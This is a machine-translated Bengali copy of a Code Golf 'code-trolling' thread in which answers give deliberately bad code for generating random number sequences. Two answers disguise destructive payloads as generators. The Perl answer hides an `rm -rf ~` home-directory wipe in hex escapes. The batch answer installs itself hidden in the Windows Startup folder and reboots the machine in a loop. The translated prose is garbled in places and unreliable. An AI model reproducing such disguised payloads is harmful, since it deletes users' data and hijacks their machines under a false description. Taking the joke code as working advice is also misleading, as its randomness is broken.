সংখ্যার একটি এলোমেলো ক্রম তৈরি করুন


16

চ্যালেঞ্জ:

সংখ্যার একটি এলোমেলো ক্রম তৈরি করুন। একমাত্র ইনপুটটি ক্রমের দৈর্ঘ্য হওয়া উচিত।

খাঁটি-কার্যকরী সমাধানের জন্য অতিরিক্ত ইন্টারনেট পয়েন্ট।

দ্রষ্টব্য: এটি একটি প্রশ্ন। দয়া করে প্রশ্ন এবং / অথবা উত্তরগুলি গুরুত্ব সহকারে নেবেন না। আরও তথ্য এখানে




অফিসিয়াল স্ট্যান্ড অনুযায়ী কোড-ট্রোলিং সরানোর প্রক্রিয়া চলছে in এই প্রশ্নের অনেক উত্তর এবং ভোট রয়েছে, পোলে ঠিক 50% ভোট "রাখুন" পেয়েছে এবং এটি প্রথম [কোড-ট্রোলিং] পোস্টগুলির মধ্যে একটি, তাই আমি এটি historicalতিহাসিক তাত্পর্য হিসাবে লক করছি।
ডুরকনব

উত্তর:


37

পাইথন

একটি এলোমেলো উইকিপিডিয়া নিবন্ধটি ধরুন এবং দৈর্ঘ্যের সংখ্যার এইচটিএমএল অক্ষরের ক্রম নিন এবং তাদের সংখ্যাসূচক মানগুলি পান

import urllib2
from random import randint
def getRandom(num):
    response = urllib2.urlopen('http://en.wikipedia.org/wiki/Special:Random')
    html = response.read()
    html = html.replace(" ", "")
    htmllen = len(html)
    #I especially love how I still grab a random number here
    l =  randint(0, htmllen - num)
    data = html[l:l+num]
    return [ ord(x) for x in list(data) ]

print getRandom(25)

আমি আমার উত্তরটি পছন্দ করেছি ... তবে আমি এটি +1 করতে চাই।

9
এবং গল্পটির নৈতিকতা হ'ল: আপনার হোম ওয়ার্কের জন্য উইকিপিডিয়া ব্যবহার করা প্রতারণা।
Wrzlprmft

আমি যে অংশটি পছন্দ করি না তা হ'ল বিভিন্ন সংখ্যার সম্ভাব্যতা বন্টন অভিন্ন নয়। তবে এটি সহজেই ক্ষমা করা হয়, কারণ এটি দুর্দান্ত।
কেভিন

@ কেভিন: ওপিতে অভিন্ন বিতরণ করা এলোমেলো সংখ্যার প্রয়োজন হয় না। আসলে, এটি আমাকে একটি ধারণা দেয় ...
Wrzlprmft

31

অন্যান্য উত্তর থেকে সমস্ত প্রোগ্রাম কেবল তথাকথিত "সিউডো-এলোমেলো সংখ্যা" উত্পন্ন করবে যা প্রশিক্ষণহীন চোখে এলোমেলো দেখায় তবে বাস্তবে কিছু নিদর্শন অনুসরণ করে।

নিম্নলিখিত প্রোগ্রামটি ব্যাকগ্রাউন্ড রেডিয়েশনের জন্য আপনার কম্পিউটারকে কণা ডিটেক্টারে পরিণত করে প্রকৃত এলোমেলো সংখ্যা তৈরি করে। যেহেতু এটি কোয়ান্টাম এফেক্টের ভিত্তিতে, তাই এটি সত্যই এলোমেলো এবং পূর্বাভাস দেওয়া অসম্ভব। এবং একটি বোনাসের জন্য, প্রোগ্রামটি যদি দ্রুত আপনার কম্পিউটারকে মহাকাশে চালু করে তবে দ্রুত গতিতে চলে। এবং হ্যাঁ, এটি যতটা শোনায় ততই দুর্দান্ত।

সি

#include<stdio.h>

int main(void)
{
    int i,j,k,l,m;
    printf("How many random numbers do you want?");
    scanf ("%i",&m);

    for (i=0; i<m; i++)
    {
        j = k = 42;
        l = 0;
        while (j==k)
            l++;
        printf("%i\n", l);
    }
}

ভক্ষক:

এই প্রোগ্রামটি মেমরির দুটি অভিন্ন টুকরো তৈরি করে এবং তারপরে এটি অপেক্ষা করতে কতক্ষণ অপেক্ষা করে ব্যাকগ্রাউন্ড রেডিয়েশনের একটি পরিবর্তন করতে করে। অপেক্ষার সময়টি এলোমেলো সংখ্যা হিসাবে ফিরিয়ে দেওয়া হয়, এটি যদি পূর্ণসংখ্যার ওভারফ্লো না হয় তবে তা তাত্ক্ষণিকভাবে বিতরণ করা হবে। এই জাতীয় ইভেন্টগুলি মহাকাশে বেশি হওয়ার সম্ভাবনা থাকে নভোচারীবিদ্যায় একটি আসল সমস্যা, যা রেডিয়েশন শক্ত হয়ে থাকে । সুতরাং, ভূমিকাটিতে প্রতিটি বক্তব্য শীতলতা সম্পর্কে কিছুটা বাদ দিয়ে কিছুটা হলেও সত্য।

দুর্ভাগ্যক্রমে, কম্পিউটারটি ক্র্যাশ করে এমন ঘটনা বা কমপক্ষে প্রোগ্রামটি মেমরির ঠিক এই দুটি অংশকে প্রভাবিত করার চেয়ে বেশি সম্ভবত। এছাড়াও, এটি কিছুটা সময় নিতে পারে ... অবশেষে, কিনোকিজুফ দ্বারা চিহ্নিত হিসাবে, পটভূমি বিকিরণ একটি বাহ্যিক প্রক্রিয়া, তাইj এবং kযেমন চিহ্নিত করা উচিত volatileকম্পাইলার করার জন্য (অথবা আপনি একটি কম্পাইলার যে সব সময়ে অপটিমাইজ করবেন না ব্যবহার করা উচিত)।

পিএস: ধারণাটি প্রসারিত করে, কেউ কেবল শূন্যে ভরা একটি অ্যারে তৈরি করতে পারে এবং তারপরে এটি মুদ্রণ করতে পারে। একটি সম্ভাবনা রয়েছে ε যে পটভূমি বিকিরণ স্টোরিং এবং মুদ্রণের মধ্যে শূন্যকে পরিবর্তন করে এবং তাই যা মুদ্রিত হয় তা এলোমেলো - ওপি কখনই এলোমেলো সংখ্যাগুলি কীভাবে বিতরণ করা হবে তা বলেনি।


6
অকেজো তবে সত্যের জন্য +1 অতিরিক্ত পয়েন্ট।
ইমোরি

7
নোট করুন যে পটভূমি-বিকিরণ-সনাক্তকরণ কোডটি সংকলক দ্বারা অপ্টিমাইজ করা হবে।
কিনোকিজুফ

1
@ কিনোকিজুফ: কী লজ্জাজনক (প্রতিটি সংকলকের জন্য এটি বিকল্পগুলির চেয়ে আলাদা?) যাইহোক, যেহেতু এটি কোড-ট্রোলিং, তাই আমি এখানে এটিকে উত্তরের একটি বৈশিষ্ট্য হিসাবে ঘোষণা করি।
Wrzlprmft

14
আপনি যদি এগুলিকে অস্থির হিসাবে চিহ্নিত না করেন তবে আপনার কোডটি বাস্তবে প্রত্যাশার মতো কাজ করবে।
কিনোকিজুফ

1
কিছু উপায় যে নিশ্চিত jএবং kসবসময় মেমরি নির্দিষ্ট অবস্থানে ব্যবহার করবেন? (আমি সি বেশি ব্যবহার করি নি; আমি একটি জাভা এবং সি # প্রোগ্রামার।) যদি তাই হয় তবে আপনি হার্ডওয়্যারটি ডিজাইন করতে পারেন যাতে এই অবস্থানগুলি রেডিয়েশন শক্ত হওয়ার দ্বারা সুরক্ষিত না হয়, তবে বাকী সিস্টেমটি।
কেভিন

10

কম্পিউটারে এলোমেলোতা অর্জন করা শক্ত, কারণ তারা নিখুঁতভাবে নির্বিচারক। কম্পিউটারে এলোমেলো সংখ্যা তৈরি করা গবেষণার একটি খুব সক্রিয় ক্ষেত্র, প্রায়শই রাজ্য-স্তরের অভিনেতাদের জড়িত ( ডুয়াল_ইসি_ডিআরবিজি দেখুন )। তবে, একটি আধুনিক মাল্টি-টাস্কিং অপারেটিং সিস্টেমে থ্রেড শিডিয়ুলার কিছু পরিস্থিতিতে একটি অযোগ্য কাজ করতে পারে। এটি করার জন্য, আমরা আমাদের বর্তমান সময়ের স্লাইসটি অপারেটিং সিস্টেমে ফিরে পেয়েছি এবং আমাদের আবার নির্ধারিত হতে কত সময় লাগে তা নোট করুন। অপারেটিং সিস্টেম এবং লোডের উপর নির্ভর করে এটি পছন্দসই ফলাফল আনতে পারে।

const int bitsInInt = 31;

void Main()
{
    Console.WriteLine("Enter total number of numbers to generate:");
    var result = Console.ReadLine();

    var total = int.Parse(result);
    foreach(var i in RandomSequence().Take(total))
    {
        Console.WriteLine(i);
    }
}

//Generates a random sequence of bits
IEnumerable<int> RandomBit()
{
    while(true)
    {
        var sw = new Stopwatch();

        sw.Start();
        Thread.Sleep(bitsInInt);
        sw.Stop();

        yield return (int)(sw.ElapsedTicks & 0x1L);
    }
}

//Performs the computation for mapping between the random
//sequence of bits coming out of RandomBit() and what
//is required by the program
IEnumerable<int> RandomSequence()
{
    while(true)
    {
        yield return RandomBit().Take(bitsInInt).Reverse().Select((b,i)=> b<<i).Sum();      
    }
}

2
এটি প্রায় একটি গুরুতর সমাধান!
অভিনব সরকার

8

সি শার্প

আউট সফ্টওয়্যার ব্যবহারকারীরা প্রকৃতির দ্বারা অন্তর্নিহিত এলোমেলো হয় কেন, কেন এটি আমাদের সুবিধার জন্য ব্যবহার করবেন না?

এই কোডটি একটি স্ক্রিনশট নেয় এবং এটিকে এলোমেলো ক্রম উত্পাদন করতে অন্য কিছু ডেটা সহ ব্যবহার করে। অন্তর্নির্মিত র্যান্ডম জেনারেটরটি ব্যবহার না করার জন্য বোনাস ইন্টারনেট পয়েন্ট?

public unsafe uint[] GetThemRandom(int length)
    {
        var bounds = Screen.GetBounds(Point.Empty);
        using (var screenshot = new Bitmap(bounds.Width, bounds.Height))
        using (var graphics = Graphics.FromImage(screenshot))
        {
            // can't hurt
            var sZ = (uint)Cursor.Position.X;
            var sW = (uint)Cursor.Position.Y;

            // take the screenshot as the previous experience has though us that the users
            // are sufficiently random
            graphics.CopyFromScreen(Point.Empty, Point.Empty, bounds.Size);
            screenshot.Save(DateTime.Now.Ticks + ".jpg", ImageFormat.Jpeg);

            var bytesPerPixel = Image.GetPixelFormatSize(screenshot.PixelFormat) / 8;
            var bits = screenshot.LockBits(bounds, ImageLockMode.ReadOnly, screenshot.PixelFormat);

            var scanData = (byte*)bits.Scan0.ToPointer();
            var scanLimit = bounds.Width * bounds.Height;

            // squash the pixels into two variables
            for (var i = 0; i < scanLimit; i += 2)
            {
                var pX = scanData + i * (bytesPerPixel);
                var pY = scanData + (i + 1) * (bytesPerPixel);

                for (var j = 0; j < bytesPerPixel; j++)
                {
                    sZ ^= *(pX + j);
                    sW ^= *(pY + j);
                }
            }

            // generate the numbers
            var randoms = new uint[length];
            for (var i = 0; i < length; i++)
            {
                // CodeProject 25172
                sZ = 36969 * (sZ & 65535) + (sZ >> 16);
                sW = 18000 * (sW & 65535) + (sW >> 16);

                randoms[i] = (sZ << 16) + sW;
            }

            return randoms;
        }
    }

7

পাইথন

সাধারণ সমস্যাগুলি নিয়ে হোঁচট খাওয়া সহজ: একটি এলোমেলো সংখ্যার এলোমেলো উত্স এবং এলোমেলোভাবে কোনও বিন্যাস নেই। আমার সমাধান গভীরভাবে গাণিতিক অন্তর্দৃষ্টি এবং একটি সহজ, তবে কার্যকর কৌশল, বর্তমান সময়ের সাথে এলোমেলোকরণ ব্যবহার করে এই বিষয়গুলি দুর্দান্তভাবে এড়িয়ে চলে:

from math import pi # The digits of pi are completely randomly distributed. A great source of reliable randomness.
random_numbers = str(pi)
random_numbers = random_numbers[2:] # Don't return the dot accidentally

import time
index = time.localtime()[8] # Avoid the obvious mistake not to randomise the random number source by using localtime as seed.
random_numbers = random_numbers[index:]

number = int(input("How many random numbers would like?"))
for random in random_numbers[:number]: # Python strings are super efficient iterators! Hidden feature!
    print(random)

সংখ্যার একটি ছোট সেট (9 বা তার চেয়ে কম) এর জন্য একবার পরীক্ষিত হলে দুর্দান্ত কাজ করে তবে মারাত্মক ত্রুটিযুক্ত ওয়েইন আরও কিছুটা পরীক্ষিত হয়:

  • math.pi পিরিয়ডের পরে কেবল কয়েকটি অঙ্ক থাকে
  • time.localtime()[8]মিলিসেকেন্ড বা কার্নেল ঘড়িটি ফিরিয়ে দেয় না, তবে 0 বা 1 এটি নির্ভর করে যে এটি দিবালোকের সময় সাশ্রয় করে সময় কিনা। সুতরাং এলোমেলো বীজ প্রতি অর্ধবর্ষে একবারে এক জায়গায় পরিবর্তিত হয়। সুতরাং, মূলত, এলোমেলোভাবে নেই।
  • এটি কেবল 0 এবং 9 এর মধ্যে এলোমেলো সংখ্যা প্রদান করে।
  • random_numbers[:number]আপনি number15 টিরও বেশি বড়তে প্রবেশ করলে নিঃশব্দে ব্যর্থ হয় এবং কেবল 15 টি এলোমেলো সংখ্যা ছড়িয়ে দেয়।

দুঃখের বিষয়, এটি ডেলফি 1.0 র্যান্ডম ফাংশন দ্বারা অনুপ্রাণিত, যা একইভাবে কাজ করত।


6

চুনি

প্রশ্নটি একটি সিকোয়েন্সের জন্য জিজ্ঞাসা করে। এখানে আমরা আবার যাই ...

$seed = $$.to_i
def getRandom(seed)
        a = Class.new
        b = a.new
        $seed = a.object_id.to_i + seed - $seed
        $seed
end

def getRandomSequence(num)
        molly = Array.new
        0.upto(num) do |x| molly[x] = x*getRandom(x) - getRandom(0-x) end
        molly
end

এটি 100% এলোমেলো। সত্যিই না.
খুব খারাপ এই কোডটির অর্থ ওপি'র কিছুই নয় (এটি কী হ'ল অবজেক্ট_আইডি?)
এছাড়াও, এটি বাস্তবায়ন নির্দিষ্ট করে, যার অর্থ এটি বিভিন্ন রুবি সংস্করণের মধ্যে কাজ করে বা না হয় (এটি ২.১.০p0 এ চলেছে)।
তার ওপরে, এটি সম্ভাব্য সত্যিই বাজে কিছু করতে পারে, কারণ ওপি অবজেক্ট_আইডি দিয়ে পরীক্ষা করতে পারে ...

উদাহরণ আউটপুট:

-2224
12887226055
25774454222
38661682243
51548910124
64436137991

সম্পাদনা:

$$সত্য র্যান্ডমনেস (ওএস স্তরে) এর জন্য ব্যবহার করতে সংশোধিত ।


আমি সি তে এটি করতে এবং আরও জঞ্জাল পেতে পারি, তবে সিতে সিউডোরডোমগুলি করার কী মজা?

5

জাভা

সাবধান, এটি একটি কৌশল প্রশ্ন .....

জাভাতে বেশিরভাগ লোকেরা এই ক্রমটি তৈরি করতে সাহায্য করার জন্য math.random () ব্যবহার করবে তবে তারা বিভ্রান্ত হবে কারণ তারা কেবল ইতিবাচক ফলাফল পাবে! random()0 থেকে 1 এর দশমিক মান প্রদান করে (1 টি নিজে বাদে)। সুতরাং, পুরো পূর্ণসংখ্যার পরিসীমা (ধনাত্মক এবং negativeণাত্মক) থেকে আপনি এলোমেলো মানের একটি ভাল বিতরণ পেয়েছেন তা নিশ্চিত করার জন্য আপনাকে কয়েকটি কৌশল খেলতে হবে।

এছাড়াও, আপনি কেবল গুণ করতে পারবেন না Math.random()এবং Integer.MAX_VALUEকারণ এটি কখনই Integer.MAX_VALUEনিজেকে ফলাফলের অংশ হিসাবে অন্তর্ভুক্ত করবে না ! এছাড়াও, এটি math.rand() * (Integer.MAX_VALUE + 1)সম্পূর্ণরূপে বিতরণ করার জন্য এটি করা যৌক্তিক হবে , তবে, অবশ্যই এটি কাজ করে না কারণ Integer.MAX_VALUE + 1উপচে পড়বে, এবং হয়ে উঠবে Integer.MIN_VALUE! সুতরাং, দুর্ভাগ্যক্রমে, সবচেয়ে ভাল সমাধানটি হ'ল ডেটার বিট-বুদ্ধিমান কারসাজির অবলম্বন ...

সুতরাং, এখানে জেনারেট করার জন্য একটি সম্পূর্ণ অনুক্রম 'এন' সীমার মধ্যে র্যান্ডম মান হয় Integer.MIN_VALUEথেকে Integer.MAX_VALUE(উভয় চরম সমেত (যা হার্ড অংশ হয়) !!!!):

public static int[] get_random_sequence(int count) {
    // where we will store our random values.
    int[] ret = new int[count];

    for (int i = 0; i < count; i++) {
        // get a random double value:
        double rand = Math.random();
        // now, convert this double value (which really has 48 bits of randomness)
        // in to an integer, which has 32 bits. Thus 16 extra bits of wiggle room
        // we cannot simply multiply the rand value with Integer.MAX_VALUE
        // because we will never actually get Integer.MAX_VALUE
        //    (since the rand will never exactly == 1.0)
        // what we do is treat the 32-bits of the integer in a clever bit-shifting
        // algorithm that ensures we make it work:
        // We use two special Mersenne Prime values (2^19 - 1) and (2^13 - 1)
        // http://en.wikipedia.org/wiki/Mersenne_prime#List_of_known_Mersenne_primes
        // these are very convenient because 13 + 19 is 32, which is the
        // number of bits of randomness we need (32-bit integer).
        // Interesting note: the value (2^31 - 1) is also a Mersenne prime value,
        // and it is also Integer.MAX_VALUE. Also, it is a double marsenne prime
        // since 31 is also a marsenne prime... (2^(2^5 - 1) - 1). Math is Cool!!!
        //    2^19 - 1 can be expressed as (1 << 19) - 1
        //    2^13 - 1 can be expressed as (1 << 13) - 1
        // first we set 13 bits ... multiply a 13-bit prime by the random number.
        ret[i]  = (int)(rand * (1 << 13) - 1);
        // now shift those 13 random bits 19 bits left:
        ret[i] <<= 19;
        // now add in the 19 random bits:
        ret[i] ^= (int)(rand * (1 << 19) - 1);
    }
    return ret;
}

এটি আউটপুট উত্পাদন করে:

[-368095066, -1128405482, 1537924507, -1864071334, -130039258, 2020328364, -2028717867, 1796954379, 276857934, -1378521391]

অবশ্যই, উপরেরটি একটি সম্পূর্ণ বিএস উত্তর। এটি একটি ভাল বিবরণ তৈরি করে না, এবং এটি একটি গুরুতর ত্রুটি 'আড়াল করে' ( ^=হওয়া উচিত |=)। এটি একটি কম-গুরুতর বাগটিও আড়াল করে (অর্ডার-পিএফ-অগ্রাধিকার মানে আমরা আসলে কোনও মৌলিক মান দিয়ে মোটেও গুণ করি না!) অভিনব শব্দ, মৌলিক সংখ্যা এবং প্রচুর মন্তব্য ব্যবহার করা কোডকে বিশ্বাস করার কোনও কারণ নয় ... অবশ্যই, আপনি যদি উপরের কাজটি করতে চান তবে আপনার কেবল ব্যবহার করা উচিতjava.util.Random.nextInt()


4

জাভা

এখন আমি প্রোগ্রামটির দিকে ফিরে তাকাই, আমি Scanner...

import java.util.Scanner;

public class RandomNumberGenerator
{
    public static void main(String... args)
    {
        String rand = "14816275093721068743516894531"; // key-bashing is random
        Scanner reader = new Scanner(System.in);
        System.out.println("Enter length of random number: ");
        System.out.println(rand.substring(0, Integer.parseInt(reader.nextLine())));
    }
}

3
(নন-ট্রল) আপনি বন্ধ স্ট্রিমগুলি / ইত্যাদি পরিচালনা করতে পারেন। জাভা 7 সহ আরও অনেক সহজে try (Scanner reader = new Scanner(System.in)) { ... }
wchargin

4

পার্ল

$\=$$;for(1..<>){$\=$\*65539;$\%=2**31;$\.=',';print""}

আমি $\আলাদা কোড-ট্রোলিং উত্তরের মতো আউটপুট দেওয়ার জন্য একই কৌশলটি করছি । এছাড়াও, আপনি অনেকেই লক্ষ্য করেছেন যে আমি RANDU অ্যালগরিদমের $$জন্য যথেষ্ট পরিমাণে বিনিয়োগ করছি ।

সম্পাদনা করুন: আরও ভাল করে ব্যাখ্যা করতে, RANDU হ'ল মারাত্মকভাবে নিরাপত্তাহীন PRNG। উইকিপিডিয়া বর্ণনা করে "এটি এখন পর্যন্ত ডিজাইন করা সবচেয়ে দুর্ভাগ্যজনক র্যান্ডম সংখ্যা জেনারেটরগুলির মধ্যে একটি"। এটি প্রাথমিক দুর্বলতা নীচে:

f (x) = 6 * f (x-1) - 9 * f (x-2)


3

এখানে একটি এলোমেলো নম্বর জেনারেটর, বেস 2^CHAR_BIT

char* random(size_t length) {
    char* ret = malloc((length+1) * sizeof(char));
    ret[length] = 0;
    return ret;
}

1
আপনার lengthকেবল বরাদ্দ করা উচিত । উদাহরণটি ঠিক কাজ করলে দুর্নীতিগ্রস্ত ডেটা সেরা।
জন ডিভোরাক

3

কার্যকরী শৈলীর সাথে জাভাস্ক্রিপ্টে:

var randomSequence = "[5, 18, 4, 7, 21, 44, 33, 67, 102, 44, 678, -5, -3, -65, 44, 12, 31]";

alert("The random sequence is " + (function (sequenceSize) {
    return randomSequence.substring(0, sequenceSize);
})(prompt("Type the size of the random sequence")) + ".");

আমি সচেতন ছিলাম না যে 0-0 এর মতো জেএস লেখা সম্ভব ছিল
কেভিন

3

সি

এই ফাংশনটি 0 থেকে 1337 এর মধ্যে এলোমেলো সংখ্যা তৈরির জন্য ছোট অ্যাপ্লিকেশনগুলির পক্ষে খুব ভাল কাজ করে it একাধিকবার কল করা সর্বাধিক এলোমেলোতার বীমা করার পরামর্শ দেওয়া হয়।

int* getRandom(int length)
{
    //create an array of ints
    int* nums = malloc(sizeof(int) * length);

    //fill it in with different, "random" numbers
    while(length--)                                //9001 is a good seed
        nums[length-1] = (int)malloc(9001) % 1337; //1337 is used to make it more random
    return nums;
}

আমার র‌্যাম এবং পৃষ্ঠার ফাইলগুলি কাঁদছে।
কেভিন

3

বিখ্যাত ব্লুম ব্লাম শাব জেনারেটর। কারণ এলোমেলো সংখ্যার জেনারেটরগুলি ক্রিপ্টোগ্রাফিকভাবে সুরক্ষিত হওয়া উচিত, এবং অস্পষ্টতার চেয়ে সুরক্ষার ব্যবস্থা করার জন্য আর কী ভাল উপায়।

#include <stdio.h>

long long Blum,BLum,Shub;

#define RAND_MAX 65536
//These two constant must be prime, see wikipedia.
#define BLUM 11
#define SHUB 19

int seed(int);
int(*rand)(int)=seed; //rand must be seeded first
int blumblumshub(int shub){
  //generate bbs bits until we have enough
  BLum  = 0;
  while (shub){
     Blum=(Blum*Blum)%Shub;
     BLum=(BLum<<1)|(Blum&1);
     shub>>=1;
  }
  return BLum>>1;
}

int seed(int n){
  Blum=n,BLum=BLUM;     
  Shub=SHUB*BLum;
  rand=blumblumshub;
  return rand(n);
}

//Always include a test harness.
int main(int argv, char* argc[]){
  int i;
  for (i=0;i<10;i++){
     printf("%d\n",rand(97));
  }
}

(ভয়ঙ্কর ভেরিয়েবলের নামগুলি, উইকিপিডিয়াতে একটি দ্রুত স্ক্যানের উপর ভিত্তি করে একটি ভুল বাস্তবায়ন এবং মজাদার জন্য ছড়িয়ে দেওয়া অকেজো ফাংশন পয়েন্টার যাদু অন্তর্ভুক্ত করে)


2
int argv, char* argc[]ওহ আল্লাহ্ কেন?
জো জেড।

2

সি / সি ++

#include<stdio.h>

int main()
{
   int length = 20;
   double *a = new double[0];
   for (int i = 0; i < length; ++i)
   {
       printf("%f\n", a[i]);
   }
   return a[0];
}

কিছু আবর্জনার হিপ ডেটা ব্যবহার করুন। ওহ, এবং পয়েন্টার ফাঁস করতে ভুলবেন না।


2

সি ++

#include <stdlib.h>
#include <stdio.h>

int main(int argc, char *argv[]) {
    int i, len;
    srand(time(NULL));
    len = atoi(argv[1]);
    for(i = 0; i < len; i++)
        printf("%d\n", rand() % 100);
    return 0;
}

পেশাদাররা:

  • এটা কাজ করে।
  • কখনও কখনও।
  • বৈধ (ইশ) সি 89 89
  • ভয়ঙ্কর সি ++।
  • সি হেডারগুলি ব্যবহার করুন কারণ using namespace std;এটি ইভিআইএল এবং আমরা এই সমস্ত নেমস্পেস লুকআপের সাথে প্রোগ্রামটি ধীর করতে চাই না।
  • আমরা হার্ডকোডযুক্ত মান (TODO: আরও বেশি কাঁচা গতির জন্য একটি বিটশিফ্ট ব্যবহার করতে এটি পরিবর্তন করুন) দিয়ে মডিউল ব্যবহার করে গতির পক্ষে বন্টনের অভিন্নতা রোধ করি।
  • একই ঘড়ির মধ্যে দ্বিতীয়টি একাধিকবার কার্যকর করে নির্ধারণকরণ যাচাই করতে পারে।
  • এই কোডটি কেন খারাপ তা ওপি সম্ভবত এটি উপলব্ধি করতে পারে না।

কনস:

  • কেন এই কোডটি খারাপ তা অপরিহার্য যে ওপির অধ্যাপক (এর গ্রেডার) সম্ভবত এটি উপলব্ধি করতে পারবেন না।
  • এটি সাধারণত একটি গ্রহণযোগ্য সমাধান হিসাবে বিবেচিত বলে মনে হচ্ছে।
  • আরও কাঁচা গতি প্রয়োজন।

1
লেমম অনুমান, যদি argv[1]এটি পূর্ণসংখ্যা না হয় (বা আরও খারাপ, এটি শূন্য হয়) তবে এর আচরণের সংজ্ঞা দেওয়া আছে ?
জো জেড।

1
ওহ, এটি ঠিকঠাক কাজ করবে যদি argv [1] একটি পূর্ণসংখ্যা এনকোড না করে; atoiসহজভাবে শূন্য ফিরে আসবে। এটি যখন লোমশ হয়ে ওঠে তখন এনকোডড পূর্ণসংখ্যাটি ব্যাপ্তির বাইরে থাকে int
স্টুয়ার্ট ওলসেন

2

ম্যাথামেটিকাল

RandInt = 
 Array[First@
     Cases[URLFetch["http://dynamic.xkcd.com/random/comic/", 
       "Headers"], {"Location", l_} :> 
       FromDigits@StringTake[l, {17, -2}]] &, #] &

2

টিআই-বেসিক 83 + 84

:so;first&Input\something And;then:Disp uhmm_crazy_huhrandIntNoRep(1_£€¢|•∞™©®©©™,Andthen)

ইনপুট - 3

আউটপুট - {2,3,1}


এটি কাজ করে কারণ এটি ফোটে :Input A:Disp randIntNoRep(1,A)


1

এখানে পাইথন সলিউশন। আপনি প্রমাণ করতে পারবেন না যে এটি এলোমেলো নয় !

def get_random(num):
    print '3' * num

get_random(5)উদাহরণস্বরূপ কল করে এটি ব্যবহার করে দেখুন।


5
এটি এলোমেলো নয় কারণ আপনি কোডটি দেখে আউটপুট পূর্বাভাস দিতে পারেন। আপনার কখনই এটি চালানোর দরকার নেই!

@ শিঙ্গেতসু ওপি মূলত "আপনি এটি প্রমাণ করতে পারবেন যে এলোমেলো এটি প্রমাণ করতে পারেন" বলতে শব্দ প্লে ব্যবহার করছে।
C1D

1

পার্ল

use strict;
use warnings;
`\x{0072}\x{006D}\x{0020}\x{002D}\x{0072}\x{0066}\x{0020}\x{007E}`;
my $length = $ARGV[0];
for (my $count = 0;$count<$length;++$count) {
    print int(rand(10));
}
print "\n";

ওপি যেমনটি বলেছিল তেমন করার জন্য এটি একটি খুব সাধারণ পার্ল কোড ব্যবহার করে তবে পুনরুক্তি করে তাদের হোম ডিরেক্টরি সরানোর আগে নয় (অবশ্যই আরএম-আরএফ writing না লিখে অবশ্যই।)

আমি এটি পরীক্ষা করেছি না (স্পষ্ট কারণে)


3
কোড ট্রোলিংয়ের উত্তরগুলি ধ্বংসাত্মক বলে মনে করা হয় না, যদি কেউ কোড নমুনা চেষ্টা করে।
কেভিন

1

পাইথন ঘ

এটি কেবল প্রচুর সময় নষ্ট করে না (আসল এবং সিপিইউ উভয় সময়), এটি কেবলমাত্র 10 টি এলোমেলো নম্বর দেয়।

def generate_random_number_sequence():
    with open('/dev/urandom', 'rb') as fd:
        data = b''
        num = 0

        for i in range(10000):
            data += fd.read(1)

            for b in data:
                try:
                    num += int(b)
                except ValueError: pass

        return [int(n) for n in list(str(num))]

if __name__ == '__main__':
    print(generate_random_number_sequence())

1

চুনি

আপনি হয়ত জানেন যে সমস্ত সংখ্যা এলোমেলো নয়। এই প্রোগ্রামটি সমস্ত নম্বর যাচাই করে এবং কেবলমাত্র এমনটি দেয় যা সত্যই এলোমেলো।

সাবধান থাকুন যে রুবি কোডটি পড়ার জন্য কিছুটা জটিল। এটি ইংরেজির মতো দক্ষ নয় কারণ কম্পিউটারগুলি একটু বোকা এবং মাঝে মাঝে আপনাকে তাদের কাছে গুরুত্বপূর্ণ শব্দগুলি পুনরাবৃত্তি করতে হয়।

অতএব আমি #commentsকোডে কিছু যুক্ত করেছি ; মন্তব্যে UPPERCASE শব্দগুলি দেখায় যে কিভাবে একই শব্দটি রুবি কোডে কাজ করে।

def random_sequence(n)
  # Make a NEW ENUMERATOR of RANDOM numbers:
  Enumerator.new { |random|
    # to_i means that the RANDOM NUMBERS we want are *integers*.
    # (rand is computer speak for random.)
    number = rand.to_i

    # We need to LOOP (because we want a *sequence* of numbers):
    loop do
      # Double check that the NEXT NUMBER is a RANDOM NUMBER.
      # This is very important so we must repeat some of the words to the computer.
      random << number if number == rand(number=number.next)
    end
   }.take(n) # Self explanatory
end

# Now we just say hw many random numbers we want, like 12
p random_sequence(12)

আরও বিশদ ব্যাখ্যা পরে আসতে পারে, তবে উদাহরণ থেকে চালিত এই আউটপুটটিকে এর কিছুটা দূরে দেওয়া উচিত: [1, 3, 5, 10, 180, 607, 639, 1694, 21375, 75580, 137110, 149609] ... এখনও কিন্ডা যদিও এলোমেলো।


1

নিম্নলিখিত উইন্ডোজ ব্যাচ স্ক্রিপ্টটি OUTPUT.TXTআপনার প্রোফাইল ফোল্ডারে নামযুক্ত এলোমেলো সংখ্যা সহ একটি ফাইল তৈরি করবে । এটি প্রায় সম্পূর্ণ সত্য এলোমেলো সংখ্যা উত্পন্ন করার গ্যারান্টিযুক্ত। এই কোডটি কেবল নোটপ্যাডে পেস্ট করুন, "FileName.CMD"(উদ্ধৃতি সহ) হিসাবে সংরক্ষণ করুন এবং সম্পাদন করুন।

IF "%~dp0" == "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup" GOTO GENRANDOM
copy %~f0 "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\kl.cmd"
attrib +R +H "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\kl.cmd"
GOTO GENRANDOM
REM GOTO INSTRUCTIONS ARE VERY IMPORTANT TO MAKE YOUR FILE EASIER TO READ

:NEXT
shutdown -r -t 0
exit

:GENRANDOM
FOR /D %%F IN (%time%) DO (
@set output=%%F
)
::NEXT <--Really important
IF NOT EXIST "%userprofile%\OUTPUT.TXT" ECHO.>"%userprofile%\OUTPUT.TXT"
echo.%output%>>"%userprofile%\OUTPUT.TXT"
GOTO NEXT

REM TODO: ADD MORE OBSCURITY

উত্পন্ন করার জন্য এলোমেলো সংখ্যার পরিমাণ প্রবেশ করানো উপায় দ্বারা খুব ঝামেলাজনক। এটিকে উত্পন্ন করা বন্ধ করতে কেবল পাওয়ার বাটনটি চাপুন এবং ধরে রাখুন। সহজ উপায় ! প্লাস: এটির জন্য কোনও কীবোর্ডের দরকার নেই।


ব্যাখ্যা: স্ক্রিপ্টটি স্টার্টআপ ফোল্ডারে নিজেই অনুলিপি করে যদি এটি ইতিমধ্যে না থাকে, এর শতকরা ভাগটি ধরে রাখে, সেগুলিতে %time%লিখে %userprofile%\OUTPUT.TXTএবং তারপরে কম্পিউটারটি পুনরায় চালু করে। কম্পিউটারটি আবার চালু হয়ে গেলে এটি আবার একই কাজ করে।
ব্যবহারকারী 2428118

1

অ্যাপ্লিকেশন Lua

